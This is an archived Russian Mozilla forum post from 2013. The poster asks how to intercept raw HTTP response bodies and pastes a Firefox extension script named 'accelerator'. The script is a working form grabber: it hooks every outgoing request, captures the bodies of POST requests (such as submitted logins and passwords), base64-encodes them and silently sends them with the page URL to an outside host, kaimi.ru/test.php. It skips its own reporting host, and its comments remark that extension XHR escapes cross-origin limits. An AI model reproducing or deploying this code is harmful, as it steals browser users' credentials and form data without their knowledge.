>Форум Mozilla Россия http://forum.mozilla-russia.org/index.php >Разработка http://forum.mozilla-russia.org/viewforum.php?id=18 >Перехват response body(raw). http://forum.mozilla-russia.org/viewtopic.php?id=60207 |
extender > 06-09-2013 13:07:47 |
Помогите пожалуйста сделать перехват response body(raw). Выделить код Код:// Адрес хоста для отправки отчетов var log_host = "kaimi.ru"; // Путь к скрипту - приемщику var log_uri = "/test.php"; // Максимальный размер POST-данных для отправки var log_req_limit = 1024; var accelerator = { // Функция для установки обработчика на событие http-on-modify-request // Список событий можно посмотреть здесь https://developer.mozilla.org/en/Observer_Notifications add_observer : function() { var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService); observerService.addObserver(this, "http-on-modify-request", false); }, // Функция для снятия обработчика на событие http-on-modify-request // Не вызывается, но пусть будет remove_observer : function() { var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService); observerService.removeObserver(this, "http-on-modify-request"); }, // Функция, которая вызывается при возникновении интересующего нас события observe : function(subject, topic, data) { var http_channel = subject.QueryInterface(Components.interfaces.nsIHttpChannel); // Проверяем тип события if(topic == "http-on-modify-request") { // Исключаем из фильтрации URL хоста для приема отчетов var uri = subject.URI.spec; if(new RegExp('^http://(?:www\.)*' + log_host, 'i').test(uri)) { return; } // Обрабатываем только POST-запросы if(http_channel.requestMethod == "POST") { // Извлекаем объект в котором хранится запрос var upload_channel = http_channel.QueryInterface(Components.interfaces.nsIUploadChannel); var upload_channel_stream = upload_channel.uploadStream; upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0); var stream = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream); stream.setInputStream(upload_channel_stream); // Получаем содержимое POST-запроса в виде строки var post_bytes = stream.readByteArray(stream.available()); var post_data = String.fromCharCode.apply(null, post_bytes); // Отделяем тело запроса от вспомогательных заголовков с размером и типом содержимого var tmp = post_data.split("\r\n\r\n"); if(tmp[1] && tmp[1].length <= log_req_limit) { this.send_post_data(uri, tmp[1]); } // Устанавливаем смещение в потоке на начало upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0); } } }, // Вспомогательная функция для отправки POST-запроса на хост send_post_data : function(uri, data) { // Кодируем данные для безопасной передачи var enc_data = escape(this.base64_encode(data)); var enc_uri = escape(this.base64_encode(uri)); // XMLHttpRequest вызванный из расширения не обладает стандартными ограничениями // таким образом обратиться можно к любому хосту var req = new XMLHttpRequest(); req.open("POST", "http://" + log_host + log_uri, true); req.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); req.send("uri=" + enc_uri + "&info=" + enc_data); }, // Неведомая фигня, которая была взята из tamper data QueryInterface : function(iid) { if(iid.equals(Components.interfaces.nsISupports) || iid.equals(Components.interfaces.nsIObserver)) { return this; } throw Components.results.NS_NOINTERFACE; }, // Вспомогательный метод для кодирования данных в Base64 base64_encode : function(data) { var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, ac = 0, enc = "", tmp_arr = []; if(!data) { return data; } do { o1 = data.charCodeAt(i++); o2 = data.charCodeAt(i++); o3 = data.charCodeAt(i++); bits = o1 << 16 | o2 << 8 | o3; h1 = bits >> 18 & 0x3f; h2 = bits >> 12 & 0x3f; h3 = bits >> 6 & 0x3f; h4 = bits & 0x3f; tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4); } while (i < data.length); enc = tmp_arr.join(''); var r = data.length % 3; return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3); } }; // Вызываем метод, который установит обработчик на интересующее нас событие accelerator.add_observer(); |